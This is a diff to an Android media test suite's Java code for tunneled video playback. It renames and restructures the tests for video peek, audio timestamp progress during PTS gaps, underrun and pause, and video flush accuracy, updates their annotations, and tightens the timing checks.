+ * Test that the first frame is rendered when video peek is on for HEVC in tunneled mode.
*/
- @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
@Test
+ @ApiTest(apis={"android.media.MediaCodec#PARAMETER_KEY_TUNNEL_PEEK"})
public void testTunneledVideoPeekOnHevc() throws Exception {
testTunneledVideoPeekOn(MediaFormat.MIMETYPE_VIDEO_HEVC,
"video_1280x720_mkv_h265_500kbps_25fps_aac_stereo_128kbps_44100hz.mkv");
}
/**
- * Test tunneled video peek with AVC renders the first frame when on
+ * Test that the first frame is rendered when video peek is on for AVC in tunneled mode.
*/
- @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
@Test
+ @ApiTest(apis={"android.media.MediaCodec#PARAMETER_KEY_TUNNEL_PEEK"})
public void testTunneledVideoPeekOnAvc() throws Exception {
testTunneledVideoPeekOn(MediaFormat.MIMETYPE_VIDEO_AVC,
"video_480x360_mp4_h264_1000kbps_25fps_aac_stereo_128kbps_44100hz.mp4");
}
/**
- * Test tunneled video peek with VP9 renders the first frame when on
+ * Test that the first frame is rendered when video peek is on for VP9 in tunneled mode.
*/
- @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
@Test
+ @ApiTest(apis={"android.media.MediaCodec#PARAMETER_KEY_TUNNEL_PEEK"})
public void testTunneledVideoPeekOnVp9() throws Exception {
testTunneledVideoPeekOn(MediaFormat.MIMETYPE_VIDEO_VP9,
"bbb_s1_640x360_webm_vp9_0p21_1600kbps_30fps_vorbis_stereo_128kbps_48000hz.webm");
@@ -4092,15 +4084,11 @@
/**
- * Test tunneled video peek doesn't render the first frame when off and then turned on
+ * Test that peek off doesn't render the first frame until turned on in tunneled mode.
*
* TODO(b/182915887): Test all the codecs advertised by the DUT for the provided test content
*/
private void testTunneledVideoPeekOff(String mimeType, String videoName) throws Exception {
- if (!MediaUtils.check(mIsAtLeastS, "testTunneledVideoPeekOff requires Android 12")) {
- return;
- }
-
if (!MediaUtils.check(isVideoFeatureSupported(mimeType, FEATURE_TunneledPlayback),
"No tunneled video playback codec found for MIME " + mimeType)) {
return;
@@ -4114,9 +4102,8 @@
Uri mediaUri = Uri.fromFile(new File(mInpPrefix, videoName));
mMediaCodecPlayer.setAudioDataSource(mediaUri, null);
mMediaCodecPlayer.setVideoDataSource(mediaUri, null);
- assertTrue("MediaCodecPlayer.start() failed!", mMediaCodecPlayer.start());
assertTrue("MediaCodecPlayer.prepare() failed!", mMediaCodecPlayer.prepare());
- mMediaCodecPlayer.start();
+ mMediaCodecPlayer.startCodec();
mMediaCodecPlayer.setVideoPeek(false); // Disable video peek
// Assert that onFirstTunnelFrameReady is called
@@ -4142,75 +4129,40 @@
}
/**
- * Test tunneled video peek with HEVC doesn't render the first frame when off and then turned on
+ * Test that peek off doesn't render the first frame until turned on for HEC in tunneled mode.
*/
- @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
@Test
+ @ApiTest(apis={"android.media.MediaCodec#PARAMETER_KEY_TUNNEL_PEEK"})
public void testTunneledVideoPeekOffHevc() throws Exception {
testTunneledVideoPeekOff(MediaFormat.MIMETYPE_VIDEO_HEVC,
"video_1280x720_mkv_h265_500kbps_25fps_aac_stereo_128kbps_44100hz.mkv");
}
/**
- * Test tunneled video peek with AVC doesn't render the first frame when off and then turned on
+ * Test that peek off doesn't render the first frame until turned on for AVC in tunneled mode.
*/
- @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
@Test
+ @ApiTest(apis={"android.media.MediaCodec#PARAMETER_KEY_TUNNEL_PEEK"})
public void testTunneledVideoPeekOffAvc() throws Exception {
testTunneledVideoPeekOff(MediaFormat.MIMETYPE_VIDEO_AVC,
"video_480x360_mp4_h264_1000kbps_25fps_aac_stereo_128kbps_44100hz.mp4");
}
/**
- * Test tunneled video peek with VP9 doesn't render the first frame when off and then turned on
+ * Test that peek off doesn't render the first frame until turned on for VP9 in tunneled mode.
*/
- @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
@Test
+ @ApiTest(apis={"android.media.MediaCodec#PARAMETER_KEY_TUNNEL_PEEK"})
public void testTunneledVideoPeekOffVp9() throws Exception {
testTunneledVideoPeekOff(MediaFormat.MIMETYPE_VIDEO_VP9,
"bbb_s1_640x360_webm_vp9_0p21_1600kbps_30fps_vorbis_stereo_128kbps_48000hz.webm");
}
- /**
- * Test tunneled audio PTS gaps with HEVC if supported.
- * If there exist PTS Gaps in AudioTrack playback, the framePosition returned by
- * AudioTrack#getTimestamp must not advance for any silent frames rendered to fill the
- * gap.
- */
- @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
- @Test
- public void testTunneledAudioPtsGapsHevc() throws Exception {
- testTunneledAudioPtsGaps(MediaFormat.MIMETYPE_VIDEO_HEVC,
- "video_1280x720_mkv_h265_500kbps_25fps_aac_stereo_128kbps_44100hz.mkv");
- }
-
- /**
- * Test tunneled audio PTS gaps with AVC if supported
- * If there exist PTS Gaps in AudioTrack playback, the framePosition returned by
- * AudioTrack#getTimestamp must not advance for any silent frames rendered to fill the
- * gap.
- */
- @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
- @Test
- public void testTunneledAudioPtsGapsAvc() throws Exception {
- testTunneledAudioPtsGaps(MediaFormat.MIMETYPE_VIDEO_AVC,
- "video_480x360_mp4_h264_1000kbps_25fps_aac_stereo_128kbps_44100hz.mp4");
- }
-
- /**
- * Test tunneled audio PTS gaps with VP9 if supported
- * If there exist PTS Gaps in AudioTrack playback, the framePosition returned by
- * AudioTrack#getTimestamp must not advance for any silent frames rendered to fill the
- * gap.
- */
- @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
- @Test
- public void testTunneledAudioPtsGapsVp9() throws Exception {
- testTunneledAudioPtsGaps(MediaFormat.MIMETYPE_VIDEO_VP9,
- "bbb_s1_640x360_webm_vp9_0p21_1600kbps_30fps_vorbis_stereo_128kbps_48000hz.webm");
- }
-
- private void testTunneledAudioPtsGaps(String mimeType, String fileName) throws Exception {
+ /**
+ * Test that audio timestamps don't progress during audio PTS gaps in tunneled mode.
+ */
+ private void testTunneledAudioProgressWithPtsGaps(String mimeType, String fileName)
+ throws Exception {
if (!MediaUtils.check(isVideoFeatureSupported(mimeType, FEATURE_TunneledPlayback),
"No tunneled video playback codec found for MIME " + mimeType)) {
return;
@@ -4224,11 +4176,10 @@
final Uri mediaUri = Uri.fromFile(new File(mInpPrefix, fileName));
mMediaCodecPlayer.setAudioDataSource(mediaUri, null);
mMediaCodecPlayer.setVideoDataSource(mediaUri, null);
- assertTrue("MediaCodecPlayer.start() failed!", mMediaCodecPlayer.start());
assertTrue("MediaCodecPlayer.prepare() failed!", mMediaCodecPlayer.prepare());
+ mMediaCodecPlayer.startCodec();
- // starts video playback
- mMediaCodecPlayer.startThread();
+ mMediaCodecPlayer.play();
sleepUntil(() ->
mMediaCodecPlayer.getCurrentPosition() > CodecState.UNINITIALIZED_TIMESTAMP
&& mMediaCodecPlayer.getTimestamp() != null
@@ -4291,37 +4242,40 @@
}
/**
- * Test tunneled audioTimestamp progress with underrun, with HEVC if supported
+ * Test that audio timestamps don't progress during audio PTS gaps for HEVC in tunneled mode.
*/
- @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
@Test
- public void testTunneledAudioTimestampProgressWithUnderrunHevc() throws Exception {
- testTunneledAudioTimestampProgressWithUnderrun(MediaFormat.MIMETYPE_VIDEO_HEVC,
+ @ApiTest(apis={"android.media.MediaCodecInfo.CodecCapabilities#FEATURE_TunneledPlayback"})
+ public void testTunneledAudioProgressWithPtsGapsHevc() throws Exception {
+ testTunneledAudioProgressWithPtsGaps(MediaFormat.MIMETYPE_VIDEO_HEVC,
"video_1280x720_mkv_h265_500kbps_25fps_aac_stereo_128kbps_44100hz.mkv");
}
/**
- * Test tunneled audioTimestamp progress with underrun, with AVC if supported.
+ * Test that audio timestamps don't progress during audio PTS gaps for AVC in tunneled mode.
*/
- @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
@Test
- public void testTunneledAudioTimestampProgressWithUnderrunAvc() throws Exception {
- testTunneledAudioTimestampProgressWithUnderrun(MediaFormat.MIMETYPE_VIDEO_AVC,
+ @ApiTest(apis={"android.media.MediaCodecInfo.CodecCapabilities#FEATURE_TunneledPlayback"})
+ public void testTunneledAudioProgressWithPtsGapsAvc() throws Exception {
+ testTunneledAudioProgressWithPtsGaps(MediaFormat.MIMETYPE_VIDEO_AVC,
"video_480x360_mp4_h264_1000kbps_25fps_aac_stereo_128kbps_44100hz.mp4");
}
/**
- * Test tunneled audioTimestamp progress with underrun, with VP9 if supported.
+ * Test that audio timestamps don't progress during audio PTS gaps for VP9 in tunneled mode.
*/
- @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
@Test
- public void testTunneledAudioTimestampProgressWithUnderrunVp9() throws Exception {
- testTunneledAudioTimestampProgressWithUnderrun(MediaFormat.MIMETYPE_VIDEO_VP9,
+ @ApiTest(apis={"android.media.MediaCodecInfo.CodecCapabilities#FEATURE_TunneledPlayback"})
+ public void testTunneledAudioProgressWithPtsGapsVp9() throws Exception {
+ testTunneledAudioProgressWithPtsGaps(MediaFormat.MIMETYPE_VIDEO_VP9,
"bbb_s1_640x360_webm_vp9_0p21_1600kbps_30fps_vorbis_stereo_128kbps_48000hz.webm");
}
- private void testTunneledAudioTimestampProgressWithUnderrun(
- String mimeType, String fileName) throws Exception {
+ /**
+ * Test that audio timestamps stop progressing during underrun in tunneled mode.
+ */
+ private void testTunneledAudioProgressWithUnderrun(String mimeType, String fileName)
+ throws Exception {
if (!MediaUtils.check(isVideoFeatureSupported(mimeType, FEATURE_TunneledPlayback),
"No tunneled video playback codec found for MIME " + mimeType)) {
return;
@@ -4335,11 +4289,10 @@
final Uri mediaUri = Uri.fromFile(new File(mInpPrefix, fileName));
mMediaCodecPlayer.setAudioDataSource(mediaUri, null);
mMediaCodecPlayer.setVideoDataSource(mediaUri, null);
- assertTrue("MediaCodecPlayer.start() failed!", mMediaCodecPlayer.start());
assertTrue("MediaCodecPlayer.prepare() failed!", mMediaCodecPlayer.prepare());
+ mMediaCodecPlayer.startCodec();
- // starts video playback
- mMediaCodecPlayer.startThread();
+ mMediaCodecPlayer.play();
sleepUntil(() ->
mMediaCodecPlayer.getCurrentPosition() > CodecState.UNINITIALIZED_TIMESTAMP
&& mMediaCodecPlayer.getTimestamp() != null
@@ -4380,9 +4333,39 @@
}
/**
- * Test accurate video rendering after a video MediaCodec flush.
+ * Test that audio timestamps stop progressing during underrun for HEVC in tunneled mode.
+ */
+ @Test
+ @ApiTest(apis={"android.media.MediaCodecInfo.CodecCapabilities#FEATURE_TunneledPlayback"})
+ public void testTunneledAudioProgressWithUnderrunHevc() throws Exception {
+ testTunneledAudioProgressWithUnderrun(MediaFormat.MIMETYPE_VIDEO_HEVC,
+ "video_1280x720_mkv_h265_500kbps_25fps_aac_stereo_128kbps_44100hz.mkv");
+ }
+
+ /**
+ * Test that audio timestamps stop progressing during underrun for AVC in tunneled mode.
+ */
+ @Test
+ @ApiTest(apis={"android.media.MediaCodecInfo.CodecCapabilities#FEATURE_TunneledPlayback"})
+ public void testTunneledAudioProgressWithUnderrunAvc() throws Exception {
+ testTunneledAudioProgressWithUnderrun(MediaFormat.MIMETYPE_VIDEO_AVC,
+ "video_480x360_mp4_h264_1000kbps_25fps_aac_stereo_128kbps_44100hz.mp4");
+ }
+
+ /**
+ * Test that audio timestamps stop progressing during underrun for VP9 in tunneled mode.
+ */
+ @Test
+ @ApiTest(apis={"android.media.MediaCodecInfo.CodecCapabilities#FEATURE_TunneledPlayback"})
+ public void testTunneledAudioProgressWithUnderrunVp9() throws Exception {
+ testTunneledAudioProgressWithUnderrun(MediaFormat.MIMETYPE_VIDEO_VP9,
+ "bbb_s1_640x360_webm_vp9_0p21_1600kbps_30fps_vorbis_stereo_128kbps_48000hz.webm");
+ }
+
+ /**
+ * Test accurate video rendering after a flush in tunneled mode.
*
- * On some devices, queuing content when the player is paused, then triggering a flush, then
+ * Test On some devices, queuing content when the player is paused, then triggering a flush, then
* queuing more content does not behave as expected. The queued content gets lost and the flush
* is really only applied once playback has resumed.
*
@@ -4390,10 +4373,6 @@
*/
private void testTunneledAccurateVideoFlush(String mimeType, String videoName)
throws Exception {
- if (!MediaUtils.check(mIsAtLeastS, "testTunneledAccurateVideoFlush requires Android 12")) {
- return;
- }
-
if (!MediaUtils.check(isVideoFeatureSupported(mimeType, FEATURE_TunneledPlayback),
"No tunneled video playback codec found for MIME " + mimeType)) {
return;
@@ -4414,15 +4393,14 @@
Uri mediaUri = Uri.fromFile(new File(mInpPrefix, videoName));
mMediaCodecPlayer.setAudioDataSource(mediaUri, null);
mMediaCodecPlayer.setVideoDataSource(mediaUri, null);
- assertTrue("MediaCodecPlayer.start() failed!", mMediaCodecPlayer.start());
assertTrue("MediaCodecPlayer.prepare() failed!", mMediaCodecPlayer.prepare());
+ mMediaCodecPlayer.startCodec();
// Video peek might interfere with the test: we want to ensure that queuing more data during
// a pause does not cause displaying more video frames, which is precisely what video peek
// does.
mMediaCodecPlayer.setVideoPeek(false);
- // starts video playback
- mMediaCodecPlayer.startThread();
+ mMediaCodecPlayer.play();
sleepUntil(() ->
mMediaCodecPlayer.getCurrentPosition() > CodecState.UNINITIALIZED_TIMESTAMP
&& mMediaCodecPlayer.getTimestamp() != null
@@ -4434,22 +4412,72 @@
assertNotEquals("Audio timestamp has a zero frame position",
mMediaCodecPlayer.getTimestamp().framePosition, 0);
+ // Allow some time for playback to commence
+ Thread.sleep(500);
+
// Pause playback
mMediaCodecPlayer.pause();
- // Allow some time for playback to pause
- Thread.sleep(maxDrainTimeMs);
- // Verify that playback has paused
- long pauseAudioFramePositionUs = mMediaCodecPlayer.getTimestamp().framePosition;
- long pauseVideoPositionUs = mMediaCodecPlayer.getVideoTimeUs();
- Thread.sleep(maxDrainTimeMs);
- assertEquals(mMediaCodecPlayer.getTimestamp().framePosition, pauseAudioFramePositionUs);
+ // Wait for audio to pause
+ AudioTimestamp pauseAudioTimestamp;
+ {
+ AudioTimestamp currentAudioTimestamp = mMediaCodecPlayer.getTimestamp();
+ long startTimeMs = System.currentTimeMillis();
+ do {
+ // If it takes longer to pause, the UX won't feel responsive to the user
+ int audioPauseTimeoutMs = 250;
+ assertTrue(String.format("No audio pause after %d milliseconds",
+ audioPauseTimeoutMs),
+ System.currentTimeMillis() - startTimeMs < audioPauseTimeoutMs);
+ pauseAudioTimestamp = currentAudioTimestamp;
+ Thread.sleep(50);
+ currentAudioTimestamp = mMediaCodecPlayer.getTimestamp();
+ } while (currentAudioTimestamp.framePosition != pauseAudioTimestamp.framePosition);
+ }
+ long pauseAudioSystemTimeMs = pauseAudioTimestamp.nanoTime / 1000 / 1000;
+
+ // Wait for video to pause
+ long pauseVideoSystemTimeNs;
+ long pauseVideoPositionUs;
+ {
+ long currentVideoSystemTimeNs = mMediaCodecPlayer.getCurrentRenderedSystemTimeNano();
+ long startTimeMs = System.currentTimeMillis();
+ do {
+ int videoUnderrunTimeoutMs = 2000;
+ assertTrue(String.format("No video pause after %d milliseconds",
+ videoUnderrunTimeoutMs),
+ System.currentTimeMillis() - startTimeMs < videoUnderrunTimeoutMs);
+ pauseVideoSystemTimeNs = currentVideoSystemTimeNs;
+ Thread.sleep(250); // onFrameRendered can get delayed in the Framework
+ currentVideoSystemTimeNs = mMediaCodecPlayer.getCurrentRenderedSystemTimeNano();
+ } while (currentVideoSystemTimeNs != pauseVideoSystemTimeNs);
+ pauseVideoPositionUs = mMediaCodecPlayer.getVideoTimeUs();
+ }
+ long pauseVideoSystemTimeMs = pauseVideoSystemTimeNs / 1000 / 1000;
+
+ // Video should not continue running for a long period of time after audio pauses
+ long pauseVideoToleranceMs = 500;
+ assertTrue(String.format(
+ "Video ran %d milliseconds longer than audio (video:%d audio:%d)",
+ pauseVideoToleranceMs, pauseVideoSystemTimeMs, pauseAudioSystemTimeMs),
+ pauseVideoSystemTimeMs - pauseAudioSystemTimeMs < pauseVideoToleranceMs);
+
+ // Verify that playback stays paused
+ Thread.sleep(500);
+ assertEquals(mMediaCodecPlayer.getTimestamp().framePosition, pauseAudioTimestamp.framePosition);
+ assertEquals(mMediaCodecPlayer.getCurrentRenderedSystemTimeNano(), pauseVideoSystemTimeNs);
assertEquals(mMediaCodecPlayer.getVideoTimeUs(), pauseVideoPositionUs);
- // Verify audio and video are in sync
- assertTrue(String.format("Video pts (%d) is ahead of audio pts (%d)",
- pauseVideoPositionUs, pauseAudioFramePositionUs),
- pauseVideoPositionUs <= pauseAudioFramePositionUs);
+ // Verify audio and video are roughly in sync when paused
+ long framePosition = mMediaCodecPlayer.getTimestamp().framePosition;
+ long playbackRateFps = mMediaCodecPlayer.getAudioTrack().getPlaybackRate();
+ long pauseAudioPositionMs = pauseAudioTimestamp.framePosition * 1000 / playbackRateFps;
+ long pauseVideoPositionMs = pauseVideoPositionUs / 1000;
+ long deltaMs = pauseVideoPositionMs - pauseAudioPositionMs;
+ assertTrue(String.format(
+ "Video is %d milliseconds out of sync from audio (video:%d audio:%d)",
+ deltaMs, pauseVideoPositionMs, pauseAudioPositionMs),
+ deltaMs > -80 && deltaMs < pauseVideoToleranceMs);
// Flush both audio and video pipelines
mMediaCodecPlayer.flush();
@@ -4493,8 +4521,8 @@
/**
* Test accurate video rendering after a video MediaCodec flush with HEVC if supported
*/
- @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
@Test
+ @ApiTest(apis={"android.media.MediaCodecInfo.CodecCapabilities#FEATURE_TunneledPlayback"})
public void testTunneledAccurateVideoFlushHevc() throws Exception {
testTunneledAccurateVideoFlush(MediaFormat.MIMETYPE_VIDEO_HEVC,
"video_1280x720_mkv_h265_500kbps_25fps_aac_stereo_128kbps_44100hz.mkv");
@@ -4503,8 +4531,8 @@
/**
* Test accurate video rendering after a video MediaCodec flush with AVC if supported
*/
- @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
@Test
+ @ApiTest(apis={"android.media.MediaCodecInfo.CodecCapabilities#FEATURE_TunneledPlayback"})
public void testTunneledAccurateVideoFlushAvc() throws Exception {
testTunneledAccurateVideoFlush(MediaFormat.MIMETYPE_VIDEO_AVC,
"video_480x360_mp4_h264_1000kbps_25fps_aac_stereo_128kbps_44100hz.mp4");
@@ -4513,49 +4541,18 @@
/**
* Test accurate video rendering after a video MediaCodec flush with VP9 if supported
*/
- @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
@Test
+ @ApiTest(apis={"android.media.MediaCodecInfo.CodecCapabilities#FEATURE_TunneledPlayback"})
public void testTunneledAccurateVideoFlushVp9() throws Exception {
testTunneledAccurateVideoFlush(MediaFormat.MIMETYPE_VIDEO_VP9,
"bbb_s1_640x360_webm_vp9_0p21_1600kbps_30fps_vorbis_stereo_128kbps_48000hz.webm");
}
/**
- * Test tunneled audioTimestamp progress with HEVC if supported
+ * Test that audio timestamps stop progressing during pause in tunneled mode.
*/
- @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
- @Test
- public void testTunneledAudioTimestampProgressHevc() throws Exception {
- testTunneledAudioTimestampProgress(MediaFormat.MIMETYPE_VIDEO_HEVC,
- "video_1280x720_mkv_h265_500kbps_25fps_aac_stereo_128kbps_44100hz.mkv");
- }
-
- /**
- * Test tunneled audioTimestamp progress with AVC if supported
- */
- @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
- @Test
- public void testTunneledAudioTimestampProgressAvc() throws Exception {
- testTunneledAudioTimestampProgress(MediaFormat.MIMETYPE_VIDEO_AVC,
- "video_480x360_mp4_h264_1000kbps_25fps_aac_stereo_128kbps_44100hz.mp4");
- }
-
- /**
- * Test tunneled audioTimestamp progress with VP9 if supported
- */
- @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
- @Test
- public void testTunneledAudioTimestampProgressVp9() throws Exception {
- testTunneledAudioTimestampProgress(MediaFormat.MIMETYPE_VIDEO_VP9,
- "bbb_s1_640x360_webm_vp9_0p21_1600kbps_30fps_vorbis_stereo_128kbps_48000hz.webm");
- }
-
- /**
- * Test that AudioTrack timestamps don't advance after pause.
- */
- private void
- testTunneledAudioTimestampProgress(String mimeType, String videoName) throws Exception
- {
+ private void testTunneledAudioProgressWithPause(String mimeType, String videoName)
+ throws Exception {
if (!MediaUtils.check(isVideoFeatureSupported(mimeType, FEATURE_TunneledPlayback),
"No tunneled video playback codec found for MIME " + mimeType)) {
return;
@@ -4568,11 +4565,10 @@
Uri mediaUri = Uri.fromFile(new File(mInpPrefix, videoName));
mMediaCodecPlayer.setAudioDataSource(mediaUri, null);
mMediaCodecPlayer.setVideoDataSource(mediaUri, null);
- assertTrue("MediaCodecPlayer.start() failed!", mMediaCodecPlayer.start());
assertTrue("MediaCodecPlayer.prepare() failed!", mMediaCodecPlayer.prepare());
+ mMediaCodecPlayer.startCodec();
- // starts video playback
- mMediaCodecPlayer.startThread();
+ mMediaCodecPlayer.play();
sleepUntil(() ->
mMediaCodecPlayer.getCurrentPosition() > CodecState.UNINITIALIZED_TIMESTAMP
&& mMediaCodecPlayer.getTimestamp() != null
@@ -4604,14 +4600,43 @@
assertEquals(audioTimestampAfterPause.nanoTime, mMediaCodecPlayer.getTimestamp().nanoTime);
}
+
/**
- * Test tunneled audio underrun, if supported.
- *
- * Underrun test with lower pts after underrun.
+ * Test that audio timestamps stop progressing during pause for HEVC in tunneled mode.
+ */
+ @Test
+ @ApiTest(apis={"android.media.MediaCodecInfo.CodecCapabilities#FEATURE_TunneledPlayback"})
+ public void testTunneledAudioProgressWithPauseHevc() throws Exception {
+ testTunneledAudioProgressWithPause(MediaFormat.MIMETYPE_VIDEO_HEVC,
+ "video_1280x720_mkv_h265_500kbps_25fps_aac_stereo_128kbps_44100hz.mkv");
+ }
+
+ /**
+ * Test that audio timestamps stop progressing during pause for AVC in tunneled mode.
+ */
+ @Test
+ @ApiTest(apis={"android.media.MediaCodecInfo.CodecCapabilities#FEATURE_TunneledPlayback"})
+ public void testTunneledAudioProgressWithPauseAvc() throws Exception {
+ testTunneledAudioProgressWithPause(MediaFormat.MIMETYPE_VIDEO_AVC,
+ "video_480x360_mp4_h264_1000kbps_25fps_aac_stereo_128kbps_44100hz.mp4");
+ }
+
+ /**
+ * Test that audio timestamps stop progressing during pause for VP9 in tunneled mode.
+ */
+ @Test
+ @ApiTest(apis={"android.media.MediaCodecInfo.CodecCapabilities#FEATURE_TunneledPlayback"})
+ public void testTunneledAudioProgressWithPauseVp9() throws Exception {
+ testTunneledAudioProgressWithPause(MediaFormat.MIMETYPE_VIDEO_VP9,
+ "bbb_s1_640x360_webm_vp9_0p21_1600kbps_30fps_vorbis_stereo_128kbps_48000hz.webm");
+ }
+
+ /**
+ * Test that audio underrun pauses video and resumes in-sync in tunneled mode.
*
* TODO(b/182915887): Test all the codecs advertised by the DUT for the provided test content
*/
- private void tunneledAudioUnderrun(String mimeType, String videoName, int frameRate)
+ private void tunneledAudioUnderrun(String mimeType, String videoName)
throws Exception {
if (!MediaUtils.check(isVideoFeatureSupported(mimeType, FEATURE_TunneledPlayback),
"No tunneled video playback codec found for MIME " + mimeType)) {
@@ -4625,11 +4650,10 @@
Uri mediaUri = Uri.fromFile(new File(mInpPrefix, videoName));
mMediaCodecPlayer.setAudioDataSource(mediaUri, null);
mMediaCodecPlayer.setVideoDataSource(mediaUri, null);
- assertTrue("MediaCodecPlayer.start() failed!", mMediaCodecPlayer.start());
assertTrue("MediaCodecPlayer.prepare() failed!", mMediaCodecPlayer.prepare());
+ mMediaCodecPlayer.startCodec();
- // Starts video playback
- mMediaCodecPlayer.startThread();
+ mMediaCodecPlayer.play();
sleepUntil(() ->
mMediaCodecPlayer.getCurrentPosition() > CodecState.UNINITIALIZED_TIMESTAMP
&& mMediaCodecPlayer.getTimestamp() != null
@@ -4645,36 +4669,39 @@
mMediaCodecPlayer.simulateAudioUnderrun(true);
// Wait for audio underrun
- final int audioUnderrunTimeoutMs = 1000; // Arbitrary upper time limit on loop time duration
- long startTimeMs = System.currentTimeMillis();
- AudioTimestamp currentAudioTimestamp = mMediaCodecPlayer.getTimestamp();
AudioTimestamp underrunAudioTimestamp;
- do {
- assertTrue(String.format("No audio underrun after %d milliseconds",
- System.currentTimeMillis() - startTimeMs),
- System.currentTimeMillis() - startTimeMs < audioUnderrunTimeoutMs);
- underrunAudioTimestamp = currentAudioTimestamp;
- Thread.sleep(50);
- currentAudioTimestamp = mMediaCodecPlayer.getTimestamp();
- } while (currentAudioTimestamp.framePosition != underrunAudioTimestamp.framePosition);
+ {
+ AudioTimestamp currentAudioTimestamp = mMediaCodecPlayer.getTimestamp();
+ long startTimeMs = System.currentTimeMillis();
+ do {
+ int audioUnderrunTimeoutMs = 1000;
+ assertTrue(String.format("No audio underrun after %d milliseconds",
+ System.currentTimeMillis() - startTimeMs),
+ System.currentTimeMillis() - startTimeMs < audioUnderrunTimeoutMs);
+ underrunAudioTimestamp = currentAudioTimestamp;
+ Thread.sleep(50);
+ currentAudioTimestamp = mMediaCodecPlayer.getTimestamp();
+ } while (currentAudioTimestamp.framePosition != underrunAudioTimestamp.framePosition);
+ }
+ // Wait until video playback pauses due to underrunning audio
+ long pausedVideoTimeUs = -1;
+ {
+ long currentVideoTimeUs = mMediaCodecPlayer.getVideoTimeUs();
+ long startTimeMs = System.currentTimeMillis();
+ do {
+ int videoPauseTimeoutMs = 2000;
+ assertTrue(String.format("No video pause after %d milliseconds",
+ videoPauseTimeoutMs),
+ System.currentTimeMillis() - startTimeMs < videoPauseTimeoutMs);
+ pausedVideoTimeUs = currentVideoTimeUs;
+ Thread.sleep(250); // onFrameRendered messages can get delayed in the Framework
+ currentVideoTimeUs = mMediaCodecPlayer.getVideoTimeUs();
+ } while (currentVideoTimeUs != pausedVideoTimeUs);
+ }
- // Wait until video playback stalls
- final int videoUnderrunTimeoutMs = 1000;
- startTimeMs = System.currentTimeMillis();
- long currentVideoTimeUs = mMediaCodecPlayer.getVideoTimeUs();
- long underrunVideoTimeUs = -1;
- do {
- assertTrue(String.format("No video underrun after %d milliseconds",
- videoUnderrunTimeoutMs),
- System.currentTimeMillis() - startTimeMs < videoUnderrunTimeoutMs);
- underrunVideoTimeUs = currentVideoTimeUs;
- Thread.sleep(50);
- currentVideoTimeUs = mMediaCodecPlayer.getVideoTimeUs();
- } while (currentVideoTimeUs != underrunVideoTimeUs);
-
- // Retrieve index for the video rendered frame at the time of underrun
- int underrunVideoRenderedTimestampIndex =
+ // Retrieve index for the video rendered frame at the time of video pausing
+ int pausedVideoRenderedTimestampIndex =
mMediaCodecPlayer.getRenderedVideoFrameTimestampList().size() - 1;
// Resume audio buffering with a negative offset, in order to simulate a desynchronisation.
@@ -4683,35 +4710,38 @@
mMediaCodecPlayer.simulateAudioUnderrun(false);
// Wait until audio playback resumes
- final int audioResumeTimeoutMs = 1000;
- startTimeMs = System.currentTimeMillis();
- currentAudioTimestamp = mMediaCodecPlayer.getTimestamp();
AudioTimestamp postResumeAudioTimestamp;
- do {
- assertTrue(String.format("Audio has not resumed after %d milliseconds",
- audioResumeTimeoutMs),
- System.currentTimeMillis() - startTimeMs < audioResumeTimeoutMs);
- postResumeAudioTimestamp = currentAudioTimestamp;
- Thread.sleep(50);
- currentAudioTimestamp = mMediaCodecPlayer.getTimestamp();
- } while(currentAudioTimestamp.framePosition == postResumeAudioTimestamp.framePosition);
+ {
+ AudioTimestamp previousAudioTimestamp;
+ long startTimeMs = System.currentTimeMillis();
+ do {
+ int audioResumeTimeoutMs = 1000;
+ assertTrue(String.format("Audio has not resumed after %d milliseconds",
+ audioResumeTimeoutMs),
+ System.currentTimeMillis() - startTimeMs < audioResumeTimeoutMs);
+ previousAudioTimestamp = mMediaCodecPlayer.getTimestamp();
+ Thread.sleep(50);
+ postResumeAudioTimestamp = mMediaCodecPlayer.getTimestamp();
+ } while (postResumeAudioTimestamp.framePosition == previousAudioTimestamp.framePosition);
+ }
// Now that audio playback has resumed, wait until video playback resumes
- // We care about the timestamp of the first output frame, rather than the exact time the
- // video resumed, which is why we only start polling after we are sure audio playback has
- // resumed.
- final int videoResumeTimeoutMs = 1000;
- startTimeMs = System.currentTimeMillis();
- currentVideoTimeUs = mMediaCodecPlayer.getVideoTimeUs();
- long resumeVideoTimeUs = -1;
- do {
- assertTrue(String.format("Video has not resumed after %d milliseconds",
- videoResumeTimeoutMs),
- System.currentTimeMillis() - startTimeMs < videoResumeTimeoutMs);
- resumeVideoTimeUs = currentVideoTimeUs;
- Thread.sleep(50);
- currentVideoTimeUs = mMediaCodecPlayer.getVideoTimeUs();
- } while (currentVideoTimeUs == resumeVideoTimeUs);
+ {
+ // We actually don't care about trying to capture the exact time video resumed, because
+ // we can just look at the historical list of rendered video timestamps
+ long postResumeVideoTimeUs;
+ long previousVideoTimeUs;
+ long startTimeMs = System.currentTimeMillis();
+ do {
+ int videoResumeTimeoutMs = 2000;
+ assertTrue(String.format("Video has not resumed after %d milliseconds",
+ videoResumeTimeoutMs),
+ System.currentTimeMillis() - startTimeMs < videoResumeTimeoutMs);
+ previousVideoTimeUs = mMediaCodecPlayer.getVideoTimeUs();
+ Thread.sleep(50);
+ postResumeVideoTimeUs = mMediaCodecPlayer.getVideoTimeUs();
+ } while (postResumeVideoTimeUs == previousVideoTimeUs);
+ }
// The system time when rendering the first audio frame after the resume
long playbackRateFps = mMediaCodecPlayer.getAudioTrack().getPlaybackRate();
@@ -4721,52 +4751,74 @@
long resumeAudioSystemTimeNs = postResumeAudioTimestamp.nanoTime - (long) elapsedTimeNs;
long resumeAudioSystemTimeMs = resumeAudioSystemTimeNs / 1000 / 1000;
- // The system time when rendering the first video frame after the resume
